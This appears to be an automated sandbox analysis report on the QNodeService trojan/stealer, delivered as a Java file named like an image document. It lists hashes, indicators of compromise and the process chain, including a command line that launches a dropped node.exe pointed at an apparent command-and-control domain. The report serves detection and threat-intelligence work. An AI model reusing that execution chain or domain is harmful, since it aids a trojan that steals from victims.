qnodeservice | 8df61743b4dd0650b82f5bbbca34dea37ed7b6e86703b3d8931e7738f27cf5d6

Analysis

Target

IMG_DOC-20102020.jar
Size

71KB
MD5

72cd8f547ba9e16ab89f83c45fc29383
SHA1

ca3e76d9d13095cda5f66af13770811f18a19148
SHA256

8df61743b4dd0650b82f5bbbca34dea37ed7b6e86703b3d8931e7738f27cf5d6
SHA512

7103a861d68e1959df25dfa29146e9add33001ba6285825ee268f6d88cd4cf966dedc5c483f8fa2c7fc7de0a3f108c4cab36eaef7ad9da4770a5ad0b409669a9

Score

10^/10

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 1 IoCs

pid	Process
2972	node.exe

JavaScript code in executable 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad74-171.dat	js

Suspicious behavior: EnumeratesProcesses 4 IoCs

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3964 wrote to memory of 204	3964	java.exe	75
PID 3964 wrote to memory of 204	3964	java.exe	75
PID 204 wrote to memory of 2972	204	javaw.exe	78
PID 204 wrote to memory of 2972	204	javaw.exe	78

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\IMG_DOC-20102020.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3964
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\8b1c2350.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:204
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2972

memory/2972-172-0x000002BF13CC0000-0x000002BF13CC1000-memory.dmp

Filesize
4KB

Download